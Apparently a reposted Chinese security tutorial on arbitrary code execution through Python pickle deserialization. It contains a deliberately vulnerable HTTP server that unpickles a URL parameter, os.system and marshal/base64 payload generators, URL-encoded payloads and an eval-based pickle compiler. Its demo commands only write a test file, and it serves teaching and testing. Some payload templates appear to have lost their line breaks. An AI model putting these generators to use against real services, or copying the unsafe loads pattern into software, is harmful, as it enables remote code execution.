php调用python pkl_Python Pickle的任意代码执行漏洞实践和Payload构造
*原創(chuàng)作者:bit4@勾陳安全實(shí)驗(yàn)室,MottoIN原創(chuàng)文章未經(jīng)許可禁止轉(zhuǎn)載
0x01 Pickle的典型應(yīng)用場景
一般在什么場景下需要用到Pickle?通常在解析認(rèn)證token,session的時(shí)候。(如果你知道更多,歡迎留言補(bǔ)充,感謝!)現(xiàn)在很多web都使用redis、mongodb、memcached等來存儲(chǔ)session等狀態(tài)信息。P神的文章就有一個(gè)很好的redis+python反序列化漏洞的很好例子:掌閱iReader某站Python漏洞挖掘 | 離別歌。
可能將對象Pickle后存儲(chǔ)成磁盤文件。
可能將對象Pickle后在網(wǎng)絡(luò)中傳輸。
可能參數(shù)傳遞給程序,比如sqlmap的代碼執(zhí)行漏洞
python sqlmap.py --pickled-options "Y29zCnN5c3RlbQooUydkaXInCnRSLg=="
0x02 如何構(gòu)造Payload1.執(zhí)行系統(tǒng)命令的Payload
首先構(gòu)造一個(gè)簡單的包含漏洞的代碼。
后續(xù)的驗(yàn)證過程中,將生成的Payload放到poc.pickle文件中,使用該代碼來讀取PoC驗(yàn)證效果(我將其保存為dopickle.py)。
__author__ = 'bit4'
import pickle
pickle.load(open('./poc.pickle'))
值得注意的是,pickle有l(wèi)oad和loads2個(gè)方法,load需要的參數(shù)是文件句柄,loads所需要的參數(shù)是字符串。
pickle允許任意對象去定義一個(gè)__reduce__方法來申明怎么序列化這個(gè)對象。這個(gè)方法返回一個(gè)字符串或者元組來描述當(dāng)反序列化的時(shí)候該如何重構(gòu)。
使用os.system執(zhí)行命令的payload
#!/usr/bin/env python
#coding: utf-8
__author__ = 'bit4'
import cPickle
import os
class genpoc(object):
def __reduce__(self):
s = """echo test >poc.txt""" #要執(zhí)行的命令
return os.system, (s,) #os.system("echo test >poc.txt")
e = genpoc()
poc = cPickle.dumps(e)
print poc
輸出內(nèi)容,也就是Payload:
cnt
system
p1
(S'echo test >poc.txt'
p2
tRp3
.我們將如上生成的pyload放到poc.pickle文件中,然后執(zhí)行驗(yàn)證代碼dopickle.py,成功執(zhí)行了"echo test >poc.txt"。
現(xiàn)在問題來了,如何在實(shí)際的web環(huán)境中使用這些payload呢?
我們先實(shí)現(xiàn)一個(gè)簡單的httpserver(dopicklehttpserver.py):
#coding:utf-8
__author__ = 'bit4'
import BaseHTTPServer
import urllib
import cPickle
class ServerHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(self):
if "?payload" in self.path:
query= urllib.splitquery(self.path)
action = query[1].split('=')[1] #這種寫法是一個(gè)坑,如果參數(shù)payload的值中包含了等號,將導(dǎo)致不正確,pickle將報(bào)“insecure string pickle”錯(cuò)誤。
#action = query[1].replace("payload=","") #這種寫法可以避免=的問題,但實(shí)際的項(xiàng)目中肯定不是這么寫,求指教~
print action
try:
x = cPickle.loads(action) #string argv
content = x
except Exception,e:
print e
content = e
else:
content = "hello World"
self.send_response(200)
self.send_header("Content-type","text/html")
self.end_headers()
self.wfile.write("")
self.wfile.write("%s" % content)
self.wfile.write("")
if __name__ == '__main__':
srvr = BaseHTTPServer.HTTPServer(('',8000), ServerHandler)
print 'started httpserver...'
srvr.serve_forever()
運(yùn)行以上代碼后,通過如下URL訪問web,傳遞Payload給服務(wù)器。
127.0.0.1:8000/?payload=xxxx
怎么將Payload放到參數(shù)中呢,一個(gè)直接的想法是使用\n來換行、使用url編碼,Payload如下:
使用\n代替
cnt\nsystem\np1\n(S'echo test >poc.txt'\np2\ntRp3\n.
使用URl編碼(換行符是%0A)
cnt%0Asystem%0Ap1%0A(S'echo test >poc.txt'%0Ap2%0AtRp3%0A.
使用URl編碼(換行符是%0d%0a)
cnt%0d%0asystem%0d%0ap1%0d%0a(S%27echo+test+%3epoc.txt%27%0d%0ap2%0d%0atRp3%0d%0a
經(jīng)過測試,第二種,使用%0A做換行符的是有效的payload,得到了成功執(zhí)行。(但其實(shí)想想也該是它,作為url中的參數(shù),當(dāng)然該使用url編碼啊)
http://127.0.0.1:8000/?payload=cnt%0Asystem%0Ap1%0A(S%27echo%20test%20%3Epoc.txt%27%0Ap2%0AtRp3%0A.
在PHP中還有有一種比較常見的思路,通過base64編碼后傳遞,如下這種,那我們可以在python中借鑒。這部分內(nèi)容包含在了“執(zhí)行任意python代碼的payload”小節(jié)中。
http://www.xxx.com?path=php://filter/write=convert.base64-decode/resource=1.php
2.執(zhí)行任意python代碼執(zhí)行payload
我們的目標(biāo)是實(shí)現(xiàn)任意代碼執(zhí)行,所以我們要序列化的對象成了code類型,但是pickle是不能序列化code對象的。
但幸運(yùn)的是,從python2.6起,包含了一個(gè)可以序列化code對象的模塊--Marshal。由于python可以在函數(shù)當(dāng)中再導(dǎo)入模塊和定義函數(shù),所以我們可以將自己要執(zhí)行的代碼都寫到一個(gè)函數(shù)里foo(), 所以有了如下代碼:
__author__ = 'bit4'
import marshalimport base64
def foo():#you should write your code in this function
import os
def fib(n):
if n <= 1:
return n
return fib(n-1) + fib(n-2)
print 'fib(10) =', fib(10)
os.system('echo anycode >>poc.txt')
print base64.b64encode(marshal.dumps(foo.func_code))
#print cPickle.dumps(foo.func_code) #TypeError: can't pickle code objects
想要這段輸出的base64的內(nèi)容得到執(zhí)行,我們需要如下代碼:
(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ''))()
寫得更容易閱讀點(diǎn):
code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()
把這段代碼轉(zhuǎn)換成pickle后的格式,需要了解pickle的數(shù)據(jù)格式和指令。詳細(xì)的轉(zhuǎn)換過程可以參考:https://www.cs.uic.edu/~s/musings/pickle/c:讀取新的一行作為模塊名module,讀取下一行作為對象名object,然后將module.object壓入到堆棧中。
(:將一個(gè)標(biāo)記對象插入到堆棧中。為了實(shí)現(xiàn)我們的目的,該指令會(huì)與t搭配使用,以產(chǎn)生一個(gè)元組。
t:從堆棧中彈出對象,直到一個(gè)“(”被彈出,并創(chuàng)建一個(gè)包含彈出對象(除了“(”)的元組對象,并且這些對象的順序必須跟它們壓入堆棧時(shí)的順序一致。然后,該元組被壓入到堆棧中。
S:讀取引號中的字符串直到換行符處,然后將它壓入堆棧。
R:將一個(gè)元組和一個(gè)可調(diào)用對象彈出堆棧,然后以該元組作為參數(shù)調(diào)用該可調(diào)用的對象,最后將結(jié)果壓入到堆棧中。
.:結(jié)束pickle。
最終的可以執(zhí)行任意代碼的payload生成器(第一種),foo()函數(shù)中的部分是你應(yīng)該自己編寫替換的代碼:
def foo():#you should write your code in this function
import os
def fib(n):
if n <= 1:
return n
return fib(n-1) + fib(n-2)
print 'fib(10) =', fib(10)
os.system('echo anycode >>poc.txt')
print """ctypesFunctionType(cmarshalloads(cbase64b64decode(StRtRc__builtin__globals(tRS''tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))
將以上代碼生成的payload分別用于dopickle.py和dopicklehttpserver.py中進(jìn)行測試。均成功執(zhí)行命令。
注意:這里有一個(gè)坑,如上的dopicklehttpserver.py寫法中,如果生成的payload中有等號(base64經(jīng)常有等號),將導(dǎo)致參數(shù)獲取不正確,而pickle.loads()的時(shí)候, pickle將報(bào)“insecure string pickle”錯(cuò)誤。
如何正確從請求中獲取參數(shù),請知道的大俠留言告訴我。
使用eval函數(shù),但是它的一個(gè)限制是只接受表達(dá)式,不能包含函數(shù)和類的聲明。(使用pickle序列化后的代碼對象就達(dá)到了要求???)
執(zhí)行任意代碼的payload生成器(第二種):
try:
import cPickle as pickle
except ImportError:
import pickle
from sys import argv
def picklecompiler(sourcefile):
sourcecode = file(sourcefile).read()
return "c__builtin__\neval\n(c__builtin__\ncompile\n(%sS''\nS'exec'\ntRtR." % (pickle.dumps( sourcecode )[:-4],)
def usage():
print '''usage: python%sfilename''' % argv[0]
if __name__ == "__main__":
if len(argv) == 2:
print picklecompiler(argv[1])
else:
usage()
對以上代碼生成的payload進(jìn)行了測試,也只是成功執(zhí)行了未包含函數(shù)和類的python代碼,包含函數(shù)和類的則為執(zhí)行成功。
3.終極payload生成器
Paper:
老外寫的一個(gè)payload生成工具,地址為sensepost/anapickle 該工具中包含了大量的成熟payload,有了以上知識,不難理解其中的代碼,也可以自己進(jìn)行修改了。
0x03 參考
*原創(chuàng)作者:bit4@勾陳安全實(shí)驗(yàn)室,MottoIN原創(chuàng)文章未經(jīng)許可禁止轉(zhuǎn)載
總結(jié)
以上是生活随笔為你收集整理的php调用python pkl_Python Pickle的任意代码执行漏洞实践和Payload构造的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python win10还是linux_
- 下一篇: 动态规划算法php,php算法学习之动态